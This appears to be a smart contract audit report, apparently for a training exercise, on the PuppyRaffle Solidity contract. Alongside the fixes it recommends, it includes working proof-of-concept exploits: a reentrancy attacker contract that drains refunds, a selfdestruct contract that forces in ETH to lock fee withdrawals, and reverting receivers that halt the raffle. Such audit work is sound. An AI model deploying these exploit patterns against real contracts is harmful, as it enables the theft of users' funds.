# Puppy Raffle Initial Audit Report

Version 0.1

*Cyfrin.io*

November 6, 2025

# Puppy Raffle Audit Report

Bree

November 6, 2025

## Puppy Raffle Audit Report

Prepared by: Bree

Lead Auditors:

- Bree

Assisting Auditors:

- None

## Table of contents

See table

## About Bree

Hi, I'm Bree

I'm a Smart Contract Auditor and Web3 Security Researcher passionate about finding vulnerabilities before attackers do. I enjoy working on real-world DeFi protocols, writing detailed audit reports, and continuously improving my understanding of EVM internals and Solidity best practices.

## Disclaimer

The Bree team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

## Audit Details

**The findings described in this document correspond the following commit hash:**

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

### Scope

```
./src/
-- PuppyRaffle.sol
```

## Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

### Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

## Executive Summary

This report presents the results of a comprehensive security assessment of the PuppleRaffle smart contract. The primary objective of this audit was to identify vulnerabilities, assess potential attack surfaces, and ensure the contract aligns with best practices for security, efficiency, and maintainability.

### Issues found

| Severity | Number of issues found |
|---|---|
| High | 4 |
| Medium | 4 |
| Low | 0 |
| Info&Gas | 10 |
| Total | 18 |

# Findings

## High

### [H-1] Reentrancy Vulnerability in refund() Function (Improper State Update Order + External Call Before State Change)

**Description:** The `PuppyRaffle::refund` function performs an external call to payable(msg.sender).sendValue(ent before updating the contract's internal state (players[playerIndex] = address(0)). This allows a malicious player to exploit reentrancy by triggering the refund() function multiple times through a fallback or receive() function, draining multiple refunds before the player's entry is cleared from the players array.

```
1 @>    //audit reentrancy attack, the contracts sends eth before
      removing the player, add nonreentranct from openzeppelin
2     payable(msg.sender).sendValue(entranceFee);
3
4     players[playerIndex] = address(0);
```

**Impact:** A malicious user could repeatedly trigger the refund process to receive multiple refunds for a single entry, leading to a loss of contract funds and denial of service for other legitimate players.

**Proof of Concept:**

- Attacker joins the raffle as a player.
- The attacker deploys a malicious contract with a fallback/receive function that calls refund() again upon receiving Ether.
- When the attacker calls refund(), the external call to sendValue() triggers the fallback and recursively calls refund() before the players[playerIndex] value is set to address(0).
- The attacker can drain the raffle funds through repeated refunds.

Add the following to `PuppleRaffleTest.t.sol` test file

Code

```
1 function testReentrancyAttackRefund() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
5         players[2] = playerThree;
6         players[3] = playerFour;
7         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9         ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(
              puppyRaffle);
```

```
10          address attackerUser = makeAddr("attackerUser");
11          vm.deal(attackerUser, 1 ether);
12
13          uint256 startingAttackContractBalance = address(
                reentrancyAttacker).balance;
14          uint256 startingPuppyRaffleBalance = address(puppyRaffle).
                balance;
15
16          vm.prank(attackerUser);
17          reentrancyAttacker.attack{value: entranceFee}();
18
19          console2.log("starting attacker contract balance:",
                startingAttackContractBalance);
20          console2.log("starting pupple raffle contract balance:",
                startingPuppyRaffleBalance);
21
22          console2.log("ending attacker contract balance:", address(
                reentrancyAttacker).balance);
23          console2.log("ending puppy raffle contract balance:", address(
                puppyRaffle).balance);
24      }
25
26  }
27
28  contract ReentrancyAttacker {
29      PuppyRaffle puppyRaffle;
30      uint256 entranceFee;
31      uint256 indexOfAttacker;
32
33      constructor(PuppyRaffle _puppleRaffle) {
34          puppyRaffle = _puppleRaffle;
35          entranceFee = puppyRaffle.entranceFee();
36      }
37
38      function attack() external payable {
39          address[] memory players = new address[](1);
40          players[0] = address(this);
41          puppyRaffle.enterRaffle{value: entranceFee}(players);
42          indexOfAttacker = puppyRaffle.getActivePlayerIndex(address(this
                ));
43          puppyRaffle.refund(indexOfAttacker);
44      }
45
46      function _stealMoney() internal {
47          if(address(puppyRaffle).balance >= entranceFee) {
48              puppyRaffle.refund(indexOfAttacker);
49          }
50      }
51      fallback() external payable {
52          _stealMoney();
53      }
```

```
54      receive() external payable {
55          _stealMoney();
56      }
57  }
```

**Recommended Mitigation:**

- Update the contract's state before performing external calls:

```
1  -  payable(msg.sender).sendValue(entranceFee);
2  -  players[playerIndex] = address(0);
```

```
1  + players[playerIndex] = address(0);
2  + payable(msg.sender).sendValue(entranceFee);
```

- Apply the nonReentrant modifier from OpenZeppelin's ReentrancyGuard to prevent nested calls.

```
1  + import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
```

#### [H-2] Weak Randomness in Winner Selection (Predictable Outcome via Block Variables)

**Description:** The `PuppleRaffle::selectWinner` function determines the raffle winner using the following line:

```
1  uint256 winnerIndex =
2      uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
           block.difficulty))) % players.length;
```

This approach relies on block variables `block.timestamp` and `block.difficulty` and user-controlled input `msg.sender` to generate randomness. These values are predictable or manipulable by miners and users, meaning the resulting random number can be influenced or even predicted off-chain. An attacker could repeatedly call the function or front-run transactions until a favorable outcome is produced (e.g., ensuring they win the raffle).

**Impact:** An attacker can manipulate the winner selection process, resulting in an unfair raffle where they consistently win or significantly increase their chances of winning. This undermines the contract's integrity and fairness, potentially leading to loss of trust or financial losses for legitimate players.

**Proof of Concept:** - The attacker monitors the blockchain for when the raffle is about to be closed. - They simulate the `keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))` computation off-chain using possible timestamp and difficulty values. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`. - The attacker submits their transaction when the predicted output of the hash gives a favorable modulo result — ensuring they become the selected winner. Because msg.sender is included in the hash, the

attacker can easily tweak their address (by using a new contract address or a CREATE2 deployment) to brute-force a winning outcome. Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

**Recommended Mitigation:** Use a verifiable source of randomness, such as Chainlink VRF (Verifiable Random Function) or another commit-reveal mechanism.

### [H-3] Integer Overflow in Fee Accumulation (Incorrect Accounting + Potential Fund Loss)

**Description:** The contract accumulates collected fees using a fixed-width `uint64` in the following statement in the `PuppleRaffle::selectWinner` function:

```
1  totalFees = totalFees + uint64(fee);
```

This introduces a classic integer overflow vulnerability. When `totalFees` grows large enough that adding another fee pushes it past the maximum value storable in a 64-bit unsigned integer (2^64 - 1), it will wrap around to zero instead of reverting. As a result, the contract's internal accounting will report a drastically smaller totalFees even though additional fees were successfully collected.

This overflow causes incorrect fee tracking and may prevent legitimate withdrawal of accumulated funds. Attackers or even normal users can trigger this state simply by participating in multiple raffles over time.

**Impact:** - Financial loss or misaccounting: Accumulated fees become smaller than the actual value collected. - Permanent loss of withdrawable funds: The wrapped-around value may cause withdrawal logic to fail or lock up the contract. - Integrity risk: The contract's accounting becomes unreliable and may break fee distribution or refund logic.

**Proof of Concept:** A simplified Forge test demonstrates the overflow effect:

PoC

Place the following test into `PuppleRaffleTest.t.sol`

```
1      function testTotalFeesOverflow() public playersEntered {
2          // We finish a raffle of 4 to collect some fees
3          vm.warp(block.timestamp + duration + 1);
4          vm.roll(block.number + 1);
5          puppyRaffle.selectWinner();
6          uint256 startingTotalFees = puppyRaffle.totalFees();
7          // startingTotalFees = 800000000000000000
8
9          // We then have 89 players enter a new raffle
10         uint256 playersNum = 89;
11         address[] memory players = new address[](playersNum);
12         for (uint256 i = 0; i < playersNum; i++) {
```

```
13              players[i] = address(i);
14          }
15          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
16          // We end the raffle
17          vm.warp(block.timestamp + duration + 1);
18          vm.roll(block.number + 1);
19
20          // And here is where the issue occurs
21          // We will now have fewer fees even though we just finished a
                second raffle
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console2.log("ending total fees", endingTotalFees);
26          console2.log("starting total fees", startingTotalFees);
27          assert(endingTotalFees < startingTotalFees);
28
29          // We are also unable to withdraw any fees because of the
                require check
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

**Recommended Mitigation:** - Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

- Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

#### [H-4] Malicious winner can forever halt the raffle

**Description:** Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

**Impact:** In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

**Proof of Concept:**

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

**Recommended Mitigation:** Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

## Medium

### [M-1] Looping through players array to check for duplicates in `PuppleRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas costs for future entrants

**Description:** The `PurpleRaffle::enterRaffle` function loops through `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramaticaally lower than those who enter later. Every additional player is an additional check the loop will have to make.

```
            // audit Denial of Service (DoS)
    @>      for (uint256 i = 0; i < players.length - 1; i++) {
              for (uint256 j = i + 1; j < players.length; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
              }
          }
```

**Impact:** The gas costs for raffle entrants will increase greatly as more players enter the raffle. There will be a rush at the start of a raffle for players to be first in the queue. An attacker might make array so big that noone else enters, guaranteeing themselves the win.

**Proof of Concept:**

If we have two sets of 100 players enter the raffle, the gas costs will be as such: - 1st 100 players = ~6523172 gas - 2nd 100 players = ~18995512 gas

This is 3x more expensive for the second players

PoC

Place the following test into `PuppleRaffleTest.t.sol`

```
    function testDenialOfServicerRiskWithManyPlayers() public {
        // gas price set to 1 gwei for easier calculation
        vm.txGasPrice(1);
        // create a large batch of players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(uint160(i + 1));
        }
        // measure gas usage
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used to enter raffle with 100 players:",
            gasUsedFirst);

        // second batch

        address[] memory players2 = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players2[i] = address(uint160(i + 101));
        }
        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players2);
        uint256 gasEnd2 = gasleft();

        uint256 gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;

        console.log("Gas used to enter raffle with 100 players again:",
            gasUsedSecond);

        assert(gasUsedSecond > gasUsedFirst);
    }
```

**Recommended Mitigation:** There are a few recommendations

1. Consider allowing duplicates. Users can make new wallets addresses anyways, so a duplicate doesnt prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
```

```
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10  +            addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13  -        // Check for duplicates
14  +       // Check for duplicates only from the new players
15  +       for (uint256 i = 0; i < newPlayers.length; i++) {
16  +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
        PuppyRaffle: Duplicate player");
17  +       }
18  -        for (uint256 i = 0; i < players.length; i++) {
19  -            for (uint256 j = i + 1; j < players.length; j++) {
20  -                require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
21  -            }
22  -        }
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28  .
29      function selectWinner() external {
30  +       raffleId = raffleId + 1;
31          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

#### [M-2] Mishandling of ETH During Fee Withdrawal (Logic Flaw + Denial of Service)

**Description:** The `PuppleRaffle::withdrawFees` function includes a fragile balance check that directly compares the contract's ETH balance with the recorded `totalFees` value:

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

This introduces a mishandling of ETH risk because the contract assumes its balance will always equal

the tracked `totalFees`. However, this assumption can easily be broken if the contract receives Ether outside normal flows, for example, through a self-destruct from another contract or direct transfers without calling enterRaffle(). Once the balance mismatch occurs, legitimate withdrawals will revert, permanently locking all funds in the contract.

**Impact:** - Permanent loss of access to legitimate fees due to reverted withdrawals. - Attackers or users can grief the protocol by forcing extra ETH into the contract, causing a Denial of Service (DoS) on fee withdrawal. - The mismatch also breaks accounting integrity, as totalFees no longer accurately reflects the real contract balance.

**Proof of Concept:**

PoC

Place the following test into `PuppleRaffleTest.t.sol`

```
    function testMishandlingFeesInWithrawFees() public playersEntered {
        // finish the raffle to allow fees withdrawal
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        uint256 contractBalanceBefore = address(puppyRaffle).balance;
        uint256 totalFeesBefore = puppyRaffle.totalFees();
        console.log("contract balance before:", contractBalanceBefore);
        console.log("total fees before:", totalFeesBefore);
        assertEq(contractBalanceBefore, totalFeesBefore);

        Destruct attacker = new Destruct();
        attacker.attack{value: 1 ether}(address(puppyRaffle));
        assertGt(address(puppyRaffle).balance, puppyRaffle.totalFees(),
            "Destruct cause mismatch in balances");

        vm.expectRevert("PuppyRaffle: There are currently players
           active!");
        puppyRaffle.withdrawFees();
    }
```

A malicious contract can intentionally send extra ETH to PuppyRaffle without participating in the raffle:

```
contract Destruct {
    function attack(address target) external payable {
        selfdestruct(payable(target));
    }
}
```

After deploying Destruct, the attacker calls:

```
attacker.attack{value: 1 ether}(address(puppyRaffle));
```

This increases address(puppyRaffle).balance without updating totalFees. Subsequent calls to withdrawFees() will revert with "PuppyRaffle: There are currently players active!", effectively locking all legitimate funds in the contract.

**Recommended Mitigation:** - Avoid strict equality checks between address(this).balance and internal accounting variables. The code could be changed to >= instead of ==. Which means that the available ETH balance should be *at least* `totalDeposits`, which makes more sense.

```
+ equire(address(this).balance >= uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

- Remove or loosen the condition to allow withdrawals as long as there are no active players, rather than matching balances.

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

```
+ require(players.length == 0, "PuppyRaffle: There are currently
    players active!");
```

- implement a receive() function that rejects unsolicited ETH to maintain accounting integrity:

```
+ receive() external payable {
+    revert("Direct ETH transfers not allowed");
}
```

### [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

**Description:** In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
            );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
            sender, block.timestamp, block.difficulty))) % players.
            length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
```

```
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

**Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

**Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

```
15 -        totalFees = totalFees + uint64(fee);
16 +        totalFees = totalFees + fee;
```

#### [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

**Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

**Proof of Concept:** 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

## Informational

#### [I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

**Recommended Mitigation:** Lock up pragma versions.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity 0.7.6;
```

### [I-2] Incorrect versions of solidity

**Description:** solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommended Mitigation:** - Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

### [I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
1           feeAddress = newFeeAddress;
```

**Recommended Mitigation:**

We can add a require:

```
1 + require(_feeAddress != address(0), "PuppyRaffle: feeAddress cannot be
      zero address");
```

### [I-4] `PuppleRaffle::selectWinner` does not follow CEI, which is not the best practice

It's best to keep code clean and follow CEI(checks, effects and interactions)

```
1 -   (bool success,) = winner.call{value: prizePool}("");
2 -   require(success, "PuppyRaffle: Failed to send prize pool to winner"
      );
3     _safeMint(winner, tokenId);
4 +   (bool success,) = winner.call{value: prizePool}("");
5 +   require(success, "PuppyRaffle: Failed to send prize pool to winner"
      );
```

### [I-5] Use of magic numbers is discouraged

It can be confusing to see numbers in a codebase, it's much more readable if numbers are given a name.

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use

```
+    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+    uint256 public constant FEE_PERCENTAGE = 20;
+    uint256 public constant POOL_PRECISION = 100;
```

### [I-6] Test Coverage

**Description:** The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                                | % Lines        | % Statements
   | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | --------------
   | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol  | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

**Recommended Mitigation:** Increase test coverage to 90% or higher, especially for the `Branches` column.

### [I-7] _isActivePlayer is never used and should be removed

**Description:** The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
```

```
6 -         }
7 -         return false;
8 -     }
```

#### [I-8] Zero address may be erroneously considered an active player

**Description:** The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

**Recommended Mitigation:** Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

## Gas

#### [G-1] Unchanged state variables should be declared constant or immutable

**Description:** Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppleRaffle::commonImageUri` should be `constant` - `PuppleRaffle::rareImageUri` should be `constant` - `PuppleRaffle::legendaryImageUri` should be `constant`

#### [G-2] Storage variables ina loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +       uint256 playersLength = players.length;
2 -       for (uint256 i = 0; i < players.length - 1; i++) {
3 +       for (uint256 i = 0; i < playersLength - 1; i++) {
4 -           for (uint256 j = i + 1; j < players.length; j++) {
5 +           for (uint256 j = i + 1; j < playersLength; j++) {
```

```
6                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
7             }
8         }
```